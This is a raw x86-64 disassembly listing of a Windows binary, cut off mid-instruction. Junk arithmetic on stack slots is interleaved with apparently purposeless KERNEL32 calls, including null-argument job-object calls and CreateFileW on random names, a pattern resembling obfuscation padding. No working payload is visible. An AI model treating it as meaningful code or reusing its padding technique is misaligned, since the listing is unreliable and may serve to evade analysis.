lea rax, [0x14022b990]
mov qword [rsp + 0xaf48], rax
mov rax, qword [rsp + 0xae98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x46ac], eax
movzx eax, byte [rsp + 0x36c]
movzx ecx, byte [rsp + 0x37d]
sub eax, ecx
mov byte [rsp + 0x19e], al
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8180]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa068]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa220]
mov rcx, qword [rsp + 0xa3d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x48a8], eax
lea rax, [0x14022b808]
mov qword [rsp + 0xaf50], rax
movsx eax, byte [rsp + 0x277]
mov rcx, qword [rsp + 0xac20]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xac], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xf30]
mov qword [rsp + 0xaf58], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2c15
mov rcx, qword [rsp + 0xa930]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4984], eax
movzx eax, word [rsp + 0x1a90]
mov rcx, qword [0x14022bb28]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14022bac4], ax
mov rax, qword [rsp + 0x9f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x96d0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9db0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa198]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1274]
and eax, ecx
mov word [rsp + 0x1dbc], ax
movzx eax, word [rsp + 0x1e3c]
mov word [rsp + 0x1e5c], ax
mov rax, qword [rsp + 0xa080]
mov rcx, qword [rsp + 0x9ca8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa570], rax
mov r9d, 0x11a6
xor r8d, r8d
lea rdx, [rsp + 0xa088]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48b0], eax
lea rax, [rsp + 0x4278]
mov qword [rsp + 0xaf60], rax
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0x8128]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa2a0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x186]
movsx ecx, byte [rsp + 0x350]
shl eax, cl
mov rcx, qword [rsp + 0x98b8]
mov byte [rcx], al
lea rax, [rsp + 0x1d4c]
mov qword [rsp + 0xaf68], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.LnRZbRluW
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xaf70], rax
mov rax, qword [rsp + 0x9d48]
mov rax, qword [rax]
mov qword [0x14022bb70], rax
mov eax, dword [rsp + 0x39f0]
mov rcx, qword [rsp + 0xae48]
mov qword [rsp + 0xaf78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaf78]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xae48]
mov dword [rcx], eax
lea rax, [rsp + 0x345]
mov qword [rsp + 0xaf80], rax
mov rax, qword [rsp + 0xa800]
movsx eax, word [rax]
mov rcx, qword [0x14022ba70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9f8], ax
mov rax, qword [rsp + 0x9c10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e40]
add eax, ecx
mov word [rsp + 0x1a28], ax
movsx eax, byte [rsp + 0x366]
movsx ecx, byte [rsp + 0x34c]
add eax, ecx
mov rcx, qword [rsp + 0xa478]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0xad08]
mov ecx, dword [rsp + 0x471c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa048]
mov dword [rcx], eax
lea rax, [rsp + 0xa8b0]
mov qword [rsp + 0xaf88], rax
movsx eax, word [rsp + 0x1d5c]
mov rcx, qword [rsp + 0xacd0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9848]
mov word [rcx], ax
lea rax, [rsp + 0x1ce4]
mov qword [0x14022bb78], rax
mov rax, qword [rsp + 0x9f78]
mov rax, qword [rax]
mov qword [rsp + 0xaf90], rax
lea rdx, [rsp + 0x4974]
mov rcx, qword [rsp + 0xa0e8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48b8], eax
mov rax, qword [rsp + 0xa710]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9810]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8668], rax
mov rax, qword [rsp + 0x98e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x73c0]
sar rax, cl
mov qword [rsp + 0xaf30], rax
lea rax, [rsp + 0x1d40]
mov qword [rsp + 0xaf98], rax
mov rax, qword [rsp + 0xad38]
imul eax, dword [rax], 0x4bea
mov rcx, qword [rsp + 0xae00]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xae18]
mov rcx, qword [rsp + 0x9b58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7b88], rax
mov rax, qword [rsp + 0xad98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c98]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x35c], al
movzx eax, byte [rsp + 0x35b]
mov rcx, qword [rsp + 0xaf80]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x36f], al
lea rax, [rsp + 0x45d8]
mov qword [rsp + 0xafa0], rax
movsx eax, word [rsp + 0x1964]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14022ba70]
mov word [rcx], ax
mov rax, qword [rsp + 0x9dd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1598]
or eax, ecx
mov word [rsp + 0x1cac], ax
movzx eax, word [rsp + 0x178c]
mov word [rsp + 0x1e60], ax
mov rax, qword [rsp + 0x9fb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa4a8]
mov qword [rsp + 0xafa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xafa8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9cf0], rax
movsx eax, byte [rsp + 0x34d]
movsx ecx, byte [0x140229f1e]
add eax, ecx
mov byte [rsp + 0xd1], al
mov rax, qword [rsp + 0x8c20]
mov qword [rsp + 0xafb0], rax
mov eax, dword [rsp + 0x4530]
mov rcx, qword [rsp + 0xa3d8]
mov qword [rsp + 0xafb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xafb8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x47e0], eax
lea rcx, [rsp + 0x9680]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [0x14022ba6c]
mov qword [rsp + 0xafc0], rax
mov rax, qword [rsp + 0xa718]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa5c8]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea rax, [rsp + 0x6f98]
mov qword [0x14022bb80], rax
movzx eax, word [rsp + 0x80c]
mov rcx, qword [0x14022bb28]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b10], ax
mov rax, qword [rsp + 0x94b0]
mov rcx, qword [rsp + 0x9e38]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa860]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9e70]
mov rcx, qword [rsp + 0xa9d0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9eb0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1b0]
mov byte [rsp + 0x390], al
mov eax, dword [rsp + 0x44dc]
mov ecx, dword [rsp + 0x4804]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4938], eax
mov rax, qword [rsp + 0xab20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x38b]
sar eax, cl
mov byte [rsp + 0x8a], al
mov eax, dword [rsp + 0x3fe0]
mov rcx, qword [rsp + 0xa8c0]
mov qword [rsp + 0xafc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xafc8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x39bc], eax
mov rax, qword [rsp + 0xad88]
mov rcx, qword [rsp + 0xa648]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xad18], rax
movsx eax, word [0x140229fd0]
mov rcx, qword [rsp + 0x9ee0]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x14022ba6c], ax
lea rax, [rsp + 0x1c88]
mov qword [rsp + 0xafd0], rax
movzx eax, word [rsp + 0x1d88]
movzx ecx, word [rsp + 0x14e4]
sub eax, ecx
mov word [rsp + 0x1cd0], ax
mov rcx, qword [rsp + 0x9f28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [0x140229fd8]
mov word [rsp + 0x1e64], ax
lea rcx, [rsp + 0xa0a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xafd8], rax
mov rax, qword [rsp + 0x9c08]
mov rcx, qword [rsp + 0x9878]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xae50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xae00]
mov ecx, dword [rsp + 0x48a8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4864], eax
lea rax, [rsp + 0xce]
mov qword [rsp + 0xafe0], rax
mov rax, qword [rsp + 0x9b80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaad8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xadd0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1dfc]
mov word [rsp + 0x1e68], ax
mov rax, qword [0x14022bad0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7540]
add rcx, rax
mov rax, rcx
mov qword [0x14022a008], rax
lea rdx, [rsp + 0x47ec]
mov rcx, qword [rsp + 0xa9c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48b0], eax
mov rax, qword [rsp + 0xa860]
mov rcx, qword [rsp + 0xa828]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa960]
mov qword [rcx], rax
mov rax, qword [0x140229fe0]
mov rcx, qword [rsp + 0xac88]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa3d0], rax
lea rax, [rsp + 0xa570]
mov qword [rsp + 0xafe8], rax
movzx eax, word [rsp + 0x1e34]
movzx ecx, word [rsp + 0x1cc8]
sub eax, ecx
mov rcx, qword [rsp + 0xa5c8]
mov word [rcx], ax
lea rcx, [rsp + 0xa850]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa550]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x44e0]
sar eax, cl
mov dword [rsp + 0x43e4], eax
movzx eax, byte [rsp + 0x35b]
movzx ecx, byte [rsp + 0x34b]
shl eax, cl
mov byte [rsp + 0x1eb], al
lea rax, [rsp + 0xab48]
mov qword [rsp + 0xaff0], rax
mov rax, qword [rsp + 0xaa18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c20]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2b4], al
mov eax, dword [rsp + 0x4718]
mov ecx, dword [rsp + 0x4834]
xor ecx, eax
mov eax, ecx
mov dword [0x14022b878], eax
movsx eax, word [rsp + 0x1cd4]
mov rcx, qword [rsp + 0xa528]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1518], ax
mov rax, qword [0x14022ba70]
movzx eax, word [rax]
mov word [rsp + 0x1e6c], ax
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0x7fc]
sub eax, ecx
mov word [rsp + 0x1e68], ax
mov rax, qword [rsp + 0x85f8]
mov rcx, qword [rsp + 0xad30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7568], rax
mov rax, qword [0x14022b9d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa598]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x343], al
mov rax, qword [rsp + 0x9990]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x473c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa230]
mov dword [rcx], eax
lea rax, [rsp + 0x9b98]
mov qword [rsp + 0xaff8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.Wn26KObFSuCkOPahS4Y766JcQwZlJeHl5CjVR
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb000], rax
mov rax, qword [rsp + 0x9c70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa980]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa738]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xbfdd
mov rcx, qword [rsp + 0xa320]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4810], eax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
mov word [0x14022bb88], ax
mov rax, qword [rsp + 0x9f68]
mov rax, qword [rax]
mov qword [rsp + 0xb008], rax
movzx eax, word [0x14022b898]
movzx ecx, word [rsp + 0xc60]
sub eax, ecx
mov word [rsp + 0xb0c], ax
mov rax, qword [rsp + 0x9fe8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x331]
and eax, ecx
mov byte [rsp + 0x362], al
lea rax, [rsp + 0x4658]
mov qword [rsp + 0xb010], rax
movsx eax, byte [0x14022b811]
mov rcx, qword [rsp + 0xaa68]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x188], al
mov eax, dword [rsp + 0x44dc]
mov dword [rsp + 0x4994], eax
mov rax, qword [rsp + 0xa688]
mov rcx, qword [rsp + 0x9878]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xad18], rax
lea rax, [0x140229f3c]
mov qword [rsp + 0xb018], rax
lea rcx, [rsp + 0xa0a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa468]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa0d8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14022ba30]
mov word [rcx], ax
mov rax, qword [rsp + 0x9db0]
mov rcx, qword [rsp + 0x8870]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xad68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9eb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa4f8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c50], rax
lea rax, [rsp + 0x1c90]
mov qword [rsp + 0xb020], rax
mov rax, qword [rsp + 0xa0d8]
movzx eax, word [rax]
mov rcx, qword [0x14022baa0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1938], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xa088]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0xadd8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8784
mov rcx, qword [rsp + 0xa370]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47c4], eax
mov rax, qword [rsp + 0xa230]
mov ecx, dword [rsp + 0x47b4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3da8], eax
movsx eax, byte [rsp + 0x1bb]
movsx ecx, byte [rsp + 0x2a4]
add eax, ecx
mov byte [rsp + 0x36e], al
mov rax, qword [rsp + 0x9d18]
mov rcx, qword [0x14022b808]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8530], rax
lea rax, [rsp + 0x9828]
mov qword [rsp + 0xb028], rax
lea rcx, [rsp + 0xb030]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xa8d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa800]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14022b938]
mov word [rcx], ax
mov rax, qword [0x14022b8b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e58]
and eax, ecx
mov word [rsp + 0x1cfc], ax
lea rax, [rsp + 0x41b4]
mov qword [rsp + 0xb038], rax
movzx eax, byte [rsp + 0x344]
movzx ecx, byte [0x140229f1d]
add eax, ecx
mov byte [rsp + 0x80], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0x9d68]
mov rcx, qword [rsp + 0xa6d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8360], rax
lea rax, [rsp + 0x3e04]
mov qword [rsp + 0xb040], rax
movsx eax, byte [rsp + 0x385]
mov rcx, qword [0x14022b928]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9e80]
mov byte [rcx], al
lea rax, [rsp + 0xa070]
mov qword [rsp + 0xb048], rax
movsx eax, word [rsp + 0x16dc]
movsx ecx, word [rsp + 0x1dc8]
shl eax, cl
mov word [rsp + 0x1dd0], ax
lea rcx, [rsp + 0xa670]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa458]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14022a010], ax
lea rdx, [rsp + 0x4998]
mov rcx, qword [rsp + 0xa1c8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4904], eax
mov rax, qword [rsp + 0x9c78]
mov rcx, qword [rsp + 0xae60]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa9d0], rax
movzx eax, word [rsp + 0x1c7c]
mov word [rsp + 0x1e70], ax
movsx eax, word [rsp + 0x1de8]
movsx ecx, word [rsp + 0x1bbc]
sar eax, cl
mov rcx, qword [rsp + 0xaf58]
mov word [rcx], ax
mov rcx, qword [rsp + 0xa500]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov r9d, 1
xor r8d, r8d
mov edx, 0x907c
mov rcx, qword [rsp + 0xa9c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4990], eax
lea rax, [rsp + 0x83f0]
mov qword [rsp + 0xb050], rax
mov rax, qword [rsp + 0x9ff8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa288]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5c], al
lea rax, [0x140229ff0]
mov qword [rsp + 0xb058], rax
mov rax, qword [rsp + 0x9b98]
mov rcx, qword [rsp + 0x7420]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa4f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf68]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x83c], ax
mov rax, qword [0x140229ff8]
mov qword [0x14022bb90], rax
lea rax, [rsp + 0x8f]
mov qword [rsp + 0xb060], rax
mov eax, dword [rsp + 0x4968]
mov ecx, dword [rsp + 0x4750]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9be0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ddc]
sar eax, cl
mov word [rsp + 0x15dc], ax
mov rax, qword [rsp + 0x9b48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa0d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbe0], ax
mov rax, qword [rsp + 0xaab8]
mov rcx, qword [rsp + 0x9c50]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa110]
mov qword [rcx], rax
mov rax, qword [0x14022bab8]
movzx eax, byte [rax]
mov byte [rsp + 0x391], al
mov rax, qword [rsp + 0xad38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41b0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x97b8]
mov dword [rcx], eax
lea rax, [rsp + 0x16c0]
mov qword [rsp + 0xb068], rax
movzx eax, word [rsp + 0x1e70]
movzx ecx, word [rsp + 0x1e68]
xor eax, ecx
mov word [0x140229fe8], ax
mov r9d, 0x14c3
xor r8d, r8d
lea rdx, [rsp + 0x9708]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x499c], eax
lea rdx, [rsp + 0x4884]
mov rcx, qword [rsp + 0xab88]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4980], eax
mov rax, qword [rsp + 0x9eb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf90]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xafe8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xad10]
movzx ecx, al
mov rax, qword [rsp + 0xa548]
shl rax, cl
mov qword [rsp + 0x8f08], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x9d58]
mov qword [rsp + 0xb070], rax
mov rax, qword [rsp + 0xaf58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x86c]
sar eax, cl
mov word [rsp + 0x1d6c], ax
mov rax, qword [rsp + 0x99e0]
mov rax, qword [rax]
mov qword [rsp + 0xb078], rax
mov rax, qword [rsp + 0xa9e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x474c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa9f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9b20]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x33d], al
mov rax, qword [rsp + 0xa910]
mov ecx, dword [rsp + 0x4788]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4950], eax
mov rax, qword [rsp + 0xb060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaa78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa5d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xaf10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19f8]
and eax, ecx
mov word [0x14022ba24], ax
movzx eax, word [rsp + 0x15f8]
mov word [rsp + 0x1e74], ax
mov rax, qword [rsp + 0x9b78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d00]
and eax, ecx
mov word [rsp + 0x1ca8], ax
lea rax, [rsp + 0xa520]
mov qword [rsp + 0xb080], rax
mov rax, qword [0x14022bb00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x372]
sar eax, cl
mov rcx, qword [rsp + 0xac20]
mov byte [rcx], al
mov rax, qword [rsp + 0xa638]
mov rcx, qword [rsp + 0xa5d0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9f88]
mov qword [rcx], rax
lea rax, [rsp + 0x4864]
mov qword [rsp + 0xb088], rax
movsx eax, word [0x140229f50]
mov rcx, qword [rsp + 0xa918]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1dc4], ax
lea rax, [rsp + 0x1a84]
mov qword [rsp + 0xb090], rax
lea rax, [rsp + 0x9420]
mov qword [0x14022bb98], rax
lea rdx, [rsp + 0x4898]
mov rcx, qword [rsp + 0xa0c8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4984], eax
movzx eax, word [rsp + 0x1a94]
mov rcx, qword [rsp + 0xa778]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1e70], ax
mov rax, qword [rsp + 0x9cd8]
mov rcx, qword [rsp + 0x8870]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa880], rax
lea rax, [rsp + 0x6f28]
mov qword [rsp + 0xb098], rax
mov rax, qword [rsp + 0xaa18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x384]
or eax, ecx
mov byte [rsp + 0xeb], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xcde3
mov rcx, qword [rsp + 0xa9c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x49a0], eax
mov rax, qword [rsp + 0xaff8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9730]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7eb8], rax
movzx eax, byte [rsp + 0x354]
mov rcx, qword [rsp + 0xad58]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x379], al
mov rax, qword [rsp + 0xa650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xa8f8]
mov eax, dword [rax]
mov dword [rsp + 0x49a4], eax
mov rax, qword [rsp + 0xa2d8]
movsx eax, word [rax]
mov rcx, qword [0x14022b9e8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14022b960]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaeb8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1da4], ax
lea rax, [rsp + 0x1a3c]
mov qword [rsp + 0xb0a0], rax
mov rax, qword [rsp + 0xa018]
movzx eax, word [rax]
mov rcx, qword [0x14022ba00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa4f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa208]
movzx ecx, al
mov rax, qword [rsp + 0x95a0]
shr rax, cl
mov qword [rsp + 0x7490], rax
movsx eax, byte [rsp + 0x34f]
mov rcx, qword [rsp + 0xae30]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xa4], al
mov rax, qword [rsp + 0x9c40]
mov eax, dword [rax]
mov rcx, qword [0x14022b950]
mov qword [rsp + 0xb0a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb0a8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa230]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c30]
movzx eax, word [rax]
mov word [rsp + 0x1e78], ax
mov rax, qword [rsp + 0x9e08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e98]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa000]
mov word [rcx], ax
mov rax, qword [rsp + 0xa9e8]
mov qword [0x14022bba0], rax
mov rax, qword [rsp + 0x98e0]
mov rax, qword [rax]
mov qword [rsp + 0xb0b0], rax
lea rdx, [rsp + 0x47d8]
mov rcx, qword [rsp + 0xabc8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x499c], eax
mov rax, qword [rsp + 0xa1e0]
mov rcx, qword [rsp + 0x9ca0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x98e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xacd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x85f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7350], rax
lea rax, [rsp + 0x15f8]
mov qword [rsp + 0xb0b8], rax
mov eax, dword [rsp + 0x48e0]
mov ecx, dword [rsp + 0x4758]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa780]
mov dword [rcx], eax
lea rax, [0x140229f1d]
mov qword [rsp + 0xb0c0], rax
mov eax, dword [rsp + 0x4978]
mov rcx, qword [rsp + 0xaa00]
mov qword [rsp + 0xb0c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb0c8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4230], eax
mov rax, qword [rsp + 0x9ee8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38d]
add eax, ecx
mov byte [rsp + 0x353], al
mov rax, qword [0x14022b818]
mov rcx, qword [rsp + 0xa070]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14022a018], rax
mov rax, qword [rsp + 0xacd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16b4]
and eax, ecx
mov word [rsp + 0xfa8], ax
movsx eax, word [rsp + 0x9f8]
movsx ecx, word [rsp + 0x1c88]
